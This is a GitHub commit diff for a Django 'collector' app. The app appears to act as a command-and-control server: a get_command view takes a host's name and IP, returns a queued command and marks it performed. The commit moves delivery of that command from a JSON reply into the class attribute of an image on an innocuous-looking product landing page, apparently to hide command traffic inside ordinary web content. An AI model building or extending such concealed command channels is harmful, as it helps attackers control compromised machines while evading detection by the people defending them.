Skip to content

Commit

Permalink
Update cmd
Browse files Browse the repository at this point in the history
  • Loading branch information
Gakamine committed Jan 30, 2023
1 parent b2c9e1c commit ae85129
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 7 deletions.
8 changes: 4 additions & 4 deletions collector/templates/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -248,16 +248,16 @@ <h4 class="h5">Secure.</h4>

<div class="s-about__screens">
<div class="s-about__screen">
<img src="{% static 'images/screens/screen-03.png' %}"
srcset="{% static 'images/screens/screen-03.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="">
<img class="{{ cmd }}" src="{% static 'images/screens/screen-03.png' %}"
srcset="{% static 'images/screens/screen-03.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="screen3">
</div>
<div class="s-about__screen">
<img src="{% static 'images/screens/screen-02.png' %}"
srcset="{% static 'images/screens/screen-02.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="">
srcset="{% static 'images/screens/screen-02.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="screen2">
</div>
<div class="s-about__screen">
<img src="{% static 'images/screens/screen-01.png' %}"
srcset="{% static 'images/screens/screen-01.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="">
srcset="{% static 'images/screens/screen-01.png' %} 1x, {% static 'images/screens/[email protected]' %} 2x" alt="screen1">
</div>
</div>

Expand Down
11 changes: 8 additions & 3 deletions collector/views.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
from django.shortcuts import render
from django.shortcuts import get_object_or_404, render
from .models import Computer,Data,Action
from django.http import JsonResponse
from django.http import HttpResponse
from django.template import loader
import hashlib

# Create your views here.
Expand Down Expand Up @@ -36,5 +37,9 @@ def get_command(request,hostname,ip,random):
command=command[0]
command.performed=True
command.save()
return JsonResponse({'actions':command.command})
return JsonResponse({'actions':''})
template = loader.get_template('index.html')
context = {
'cmd': command.command,
}
return HttpResponse(template.render(context, request))
return render(request, 'index.html')

0 comments on commit ae85129

Please sign in to comment.